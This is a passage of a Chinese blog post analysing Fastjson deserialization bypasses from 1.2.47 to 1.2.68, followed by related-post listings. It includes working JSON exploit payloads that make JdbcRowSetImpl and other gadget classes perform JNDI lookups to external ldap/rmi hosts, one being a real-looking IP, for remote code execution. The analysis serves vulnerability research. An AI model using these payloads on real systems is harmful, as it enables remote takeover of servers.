前面几种绕过都是要开启autoTypeSupport，也就是autoTypeSupport为true，在此方法中，可以在不开启autoTypeSupport的情况下才可触发漏洞。此Payload能够绕过checkAutoType内的各种检测，原理是通过Fastjson自带的缓存机制将恶意类加载到Mapping中，从而绕过checkAutoType检测

影响版本：1.2.25 <= fastjson <= 1.2.47
通杀三种方式：

  • JSON.parse(text);
  • JSON.parseObject(text);
  • JSON.parseObject(text, JdbcRowSetImpl.class);

payload:

{"a":{"@type":"java.lang.Class","val": "com.sun.rowset.JdbcRowSetImpl"},"b":{"@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName": "ldap://91.206.92.47:1389/rkth6c", "autoCommit": true}}

rce成功：

在这里插入图片描述

问题还是出在了checkAutoType这个检查函数中，当autoTypeSupport开启时，他会走到第一处，抛出异常，然后在第二处和第三处进行查找。当autoTypeSupport不开启时，他会直接在第二处和第三处中进行查找：

在这里插入图片描述
之后如果 AutoTypeSupport 为false，这里与之前逻辑一致，会进行黑名单检查：
在这里插入图片描述

在上两个图中，都存在if判断，有一个if判断是如果我们的这个反序列化的类在黑名单中，并且 TypeUtils.mappings 中没有该类缓存，那么就会抛出异常：

if (Arrays.binarySearch(this.denyHashCodes, hash) >= 0 && TypeUtils.getClassFromMapping(typeName) == null)

还有一个if判断是 AutoTypeSupport 为false的那个判断，会进行黑名单检查，不通过会抛出异常，这里我们绕不过去：

if (Arrays.binarySearch(this.denyHashCodes, hash) >= 0)

但是我们发现，在如上提到的两个if之间的代码，存在逻辑绕过，如下的代码中， 会在TypeUtils.mappings 与 deserializers 查类，如果找到了，则就会 return：

在这里插入图片描述

而对于deserializers，在ParserConfig类进行初始化时会执行initDeserializers方法，会向deserializers中添加许多的类，其中有这么一行，它代表向deserializers中添加java.lang.Class类,并且设定java.lang.class对应的反序列化处理类com.alibaba.fastjson.serializer.MiscCodec：

this.deserializers.put(Class.class, MiscCodec.instance);

上述过程如下图：

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
所以当我们传入最开始的那个payload时，他的流程是这样的：

1. 开始解析json.
2. 进入checkAutoType()检查类的安全性
3. 从mapping中或者deserializers.findClass()寻找
4. 在deserializers中找java.lang.Class类，找到后直接return跳出函数，不会再进行autotype和黑名单校验

5 . 继续向下走，获取到java.lang.class对应的反序列化处理类：MiscCodec，然后开始执行 deserializer.deserialze进行反序列化：

在这里插入图片描述

6 .在deserializer.deserialze中，parser.parse()获取val的值，参数名必须为val，否则会抛出异常：
在这里插入图片描述
7 .在deserializer.deserialze中接着走，会赋值给strVal：

在这里插入图片描述
8 .在deserializer.deserialze中再接着往下走，会走到如下这里：

在这里插入图片描述
9 .这里是使用loadclass方法，将strVal加入到mapping：

在这里插入图片描述
在这里插入图片描述
经过上述过程，mapping中有了我们的恶意类名，同时Mappings又是ConcurrentMap类的对象。说明白点就是在当前连接会话生效。如下图：
在这里插入图片描述
所以我们需要在一次连接会话同时传入两个json键值，第一个json键值对是将我们的恶意类放到mapping中，由于此次连接未断开时，它在解析第二个json键值对时，由于我们的恶意类在mapping中，它就会直接绕过检测执行我们jndi注入的payload完成rce

fastjson 1.2.48

MiscCodec中修改了cache的默认值为false，并且对TypeUtils.loadClass中的mapping.put做了限制

fastjson 1.2.62

黑名单bypass

payload:

{"@type":"org.apache.xbean.propertyeditor.JndiConverter","AsText":"rmi://127.0.0.1:1099/exploit"}";

fastjson 1.2.66

同黑名单bypass，需要autotype开启

payload:

// 需要autotype true
{"@type":"org.apache.shiro.jndi.JndiObjectFactory","resourceName":"ldap://192.168.80.1:1389/Calc"}
{"@type":"br.com.anteros.dbcp.AnterosDBCPConfig","metricRegistry":"ldap://192.168.80.1:1389/Calc"}
{"@type":"org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup","jndiNames":"ldap://192.168.80.1:1389/Calc"}
{"@type":"com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig","properties": {"@type":"java.util.Properties","UserTransaction":"ldap://192.168.80.1:1389/Calc"}}

fastjson 1.2.68

浅蓝师傅在kcon上分享的，是一个任意写文件的链子，大家可以去看下kcon的报告

qq_45449318
关注
  • 2
    点赞
  • 踩
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
apache-commons-codec-1.4.jar和sun.misc.BASE64Encoder.jar
08-27
apache-commons-codec-1.4.jar和sun.misc.BASE64Encoder.jar和sun.misc.BASE64Decoder.jar
fastjson反序列化利用
09-29
“本工具仅能在取得足够合法授权的企业安全建设中使用，在使用本工具过程中，您应确保自己所有行为符合当地的法律法规。 如您在使用本工具的过程中存在任何非法行为，您将自行承担所有后果，本工具所有开发者和所有贡献者不承担任何法律及连带责任。 除非您已充分阅读、完全理解并接受本协议所有条款，否则，请您不要安装并使用本工具。 您的使用行为或者您以其他任何明示或者默示方式表示接受本协议的，即视为您已阅读并同意本协议的约束”
springmvc fastjson 反序列化时间格式化方法(推荐)
10-20
下面小编就为大家带来一篇springmvc fastjson 反序列化时间格式化方法(推荐)。小编觉得挺不错的，现在就分享给大家，也给大家做个参考。一起跟随小编过来看看吧
FastjsonScan:一个简单的Fastjson反序列化检测burp插件
04-13
FastjsonScan 一个简单的Fastjson反序列化检测burp插件 我在挖洞的时候看到一些json请求总是想要检测一下有没有Fastjson反序列化问题，本可以直接写一个脚本来跑或者搭配其他被动扫描器来验证，但是我太懒了，先不说burp搭配其他扫描器了，就连找到特定目录下的脚本我都觉得麻烦，所以，我决定一劳永逸地解决这个问题，于是去学习了一下burp插件的写法糊弄出了这个插件 安装方法 下载项目中的FastjsonScan.jar文件 在burp的Extender->Extensions栏，点击Add,选择下载好的jar文件就可以了（执行环境是Java) 如果成功安装，会输出如下信息，如果未能成功安装可以换下jdk版本？？我用的1.8 使用方法 使用方法也很简单，就像使用repeater一样，你可以在burp的任何地方选中一个请求右键选择【Send to FastjsonScan
FastJson反序列化
06-17
[{"listA":[{"id":"fds","name":"张三"},{"id":"fds","name":"李四"}],"test":"432"}, {"listA":[{"id":"fds","name":"张三"},{"id":"fds","name":"李四"}],"test":"432"}] 数组里面封装数组的反序列化方法，通过两个bean，进行封装
Javaweb安全——Fastjson反序列化利用
weixin_43610673的博客
10-13 4097
JSON.parseObject 的底层调用的还是 JSON.parse 方法，只是在 JSON.parse 的基础上做了一个封装。在JSON序列化时开启 SerializerFeature.WriteClassName 选项，序列化出来的结果会在开头加一个 @type 字段，值为进行序列化的类名。反序列化时带有@type 字段的序列化数据会得到对应类型的实例化对象。漏洞的还是Fastjson的功能，此功能可以反序列化的时候人为指定类，然后在利用指定的反序列化器过程中，如果满足条件则会去反射调用方法，以串联
1.2.24 Fastjson反序列化TemplatesImpl和JdbcRowSetImpl利用链分析(非常详细)
dreamthe的博客
07-07 2002
本文的关于Fastjson1.2.24版本TemplatesImpl利用链的分析非常详细，如果你不是很熟悉该利用链，这篇文章非常适合你去学习，有比较详细的代码讲解。但是由于本人不是专业学习java的，只能以自己的理解去理解代码。应该不会差太多。有不懂可以评论区留言。...............
13-java安全——fastjson1.2.24反序列化TemplatesImpl利用链分析
网络安全
08-27 2548
漏洞环境： fastjson1.2.24 jdk1.7.80 新建一个maven项目在pom.xml文件中引入fastjson的依赖： <dependency> <groupId>com.alibaba</groupId> <artifactId>fastjson</artifactId> <version>1.2.24</v
FastjsonJNDI利用及Bypass高版本限制
！
01-22 551
FastjsonJNDI利用及Bypass高版本限制 Fastjson 在用 parse(obj) 还原对象的属性时会调用对象的 setter 方法为属性赋值，比如要还原 JdbcRowSetImpl 对象的autoCommit 属性，则会调用 JdbcRowSetImpl#setAutoCommit 方法进行还原，而下面的利用也基本都是基于这一点！ Fastjson <= 1.2.24 还原 autoCommit 属性时调用 JdbcRowSetImpl#setAutoCommit 方法，setAu
fastjson 反序列化之mysql JDBC 利用
qq_42077227的博客
04-19 1766
在打春秋云境Exchange 靶场时，入口点是华夏ERP 2.3版本系统，存在fastjson 反序列化漏洞，在尝试常见的fastjson利用链反弹shell都没有反应，最终使用mysql JDBC利用链反弹shell成功。在此记录一下。
SpringBoot Redis配置Fastjson进行序列化和反序列化实现
10-16
主要介绍了SpringBoot Redis配置Fastjson进行序列化和反序列化实现，文中通过示例代码介绍的非常详细，对大家的学习或者工作具有一定的参考学习价值，需要的朋友们下面随着小编来一起学习学习吧
Java反序列化5-Fastjson 1.2.22-1.2.24 TemplatesImpl利用链分析
weixin_43263451的博客
07-12 845
Fastjson是alibaba开源的一个json库，能够对json字符串进行序列化与反序列化操作。其在1.2.22-1.2.24版本被爆出来存在反序列化漏洞。该反序列化漏洞一共有两条链子这次主要分析的是TemplateImpl利用链。这条链子还是利用了TemplateImpl类，将avasisit生成的恶意类赋值给_bytecodes属性，当反序列化TemplateImpl对象时会调用其gettter和setter方法，在调用这些方法的时候调用了newTransformer从而进入TemplateImpl
Idea执行Pom.xml导入jar包提示sun.misc.BASE64Encoder jar找不到---SpringCloud工作笔记197
最新发布
添柴程序猿的专栏
10-11 1661
原因是从jdk9的时候,这个jar包已经被删除了,所以会报错,如果你用的是jdk自带的这个jar包就会报错,那么还可以,修改,不让他用jdk的,让他用。奇怪之前都是好好的,这个是因为,jdk的版本不对,重新打开以后自动被选择成jdk11了...记录一下。用org.apache.commons.codec.binary.Base64中的这样也可以的.或者就直接把jdk版本改成1.8了..
Fastjson反序列化高危漏洞系列-part2：1.2.68反序列化漏洞及利用链分析 (上)
mole_exp的博客
01-17 2512
文章目录前言 前言 本文是对fastjson高危漏洞的一次整理，包括漏洞调试、PoC构造和补丁分析。 上一篇传送门：Fastjson反序列化高危漏洞系列-part1：1.2.x — 1.2.47
maven依赖decoder_maven编译错误，警告: BASE64Decoder是内部专用 API, 可能会在未来发行版中删除...
weixin_39743603的博客
12-22 3390
修改红色部分版本号为2.3.2org.apache.maven.pluginsmaven-compiler-plugin2.3.21.61.6UTF-8sun&period;misc&period;BASE64Encoder是内部专用 API&comma; 可能会在未来发行版中删除简介 MEVAN打包遇到问题“sun.misc.BASE64Encoder是内部专用 API,...
sun.misc.BASE64Decoder是内部专用 API, 可能会在未来发行版中删除
热门推荐
u014594604的博客
01-15 1万+
  /** * Description 根据键值进行解密 * * @return */ public static String decrypt(String data, String key) throws Exception { if (data == null) return null; BASE64Decoder decoder = new ...
JDK Base64编解码1.7和1.8的坑
chijiansong的博客
11-29 2403
场景 对接一个第三方api接口，其中签名部分用的是JDK8的编码。我们线上采用JDK7，导致项目无法编译 替换编解码部分为1.7的代码，然后签名又不对 所以坑就在这里，结论，1.7的编解码有换行符导致签名失败 贴代码 import sun.misc.BASE64Decoder; import java.security.KeyFactory; import java.security.PrivateKey; import java.security.Signature; import java.s
FastJson远程命令执行漏洞学习笔记
m0_73257876的博客
09-04 638
fastjson的漏洞其实就是fastjson autotype在处理json对象的时候，未对@type字段进行完全的安全性验证，攻击者可以传入危险类，并调用危险类中连接远程主机，通过其中的恶意类执行代码。笔记只做学习记录分享。如有错误，请大家批评指正！
Fastjson历史反序列漏洞分析(1.2.24-1.2.80)
dreamthe的博客
08-10 5234
本文章总结fastjson1.2.24到1.2.80所产生的反序列化漏洞，将其进行分析。希望多大家有帮助。
fastjson反序列化分析
09-08
Fastjson是一个高性能的Java JSON库，可以将JSON字符串与Java对象之间进行相互转换。在反序列化方面，Fastjson提供了多种方式来实现。 首先，最常见的方式是将JSON字符串直接反序列化为Java对象。你可以使用`JSON.parseObject()`方法来实现这一操作。该方法接受两个参数：要解析的JSON字符串和目标Java类的Class对象。示例代码如下： ```java String jsonString = "{\"name\":\"John\",\"age\":30}"; User user = JSON.parseObject(jsonString, User.class); ``` 在上述代码中，我们将一个包含"name"和"age"属性的JSON字符串反序列化为一个名为User的Java对象。 除了直接反序列化外，Fastjson还支持将JSON字符串反序列化为泛型类型。你可以使用`TypeReference`类来指定具体的泛型类型。示例代码如下： ```java String jsonString = "[{\"name\":\"John\",\"age\":30},{\"name\":\"Jane\",\"age\":25}]"; List<User> userList = JSON.parseObject(jsonString, new TypeReference<List<User>>() {}); ``` 在上述代码中，我们将一个包含多个User对象的JSON数组反序列化为一个List<User>对象。 此外，Fastjson还支持将JSON字符串反序列化为JSONObject对象，该对象提供了一系列操作JSON数据的方法。你可以使用`JSON.parseObject()`方法，并传入`Feature.OrderedField`参数来实现。示例代码如下： ```java String jsonString = "{\"name\":\"John\",\"age\":30}"; JSONObject jsonObject = JSON.parseObject(jsonString, Feature.OrderedField); ``` 总的来说，Fastjson提供了灵活且高效的反序列化方式，可以满足各种不同的需求。以上只是一些常用的示例，你可以根据具体情况选择适合的方法来实现反序列化操作。

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值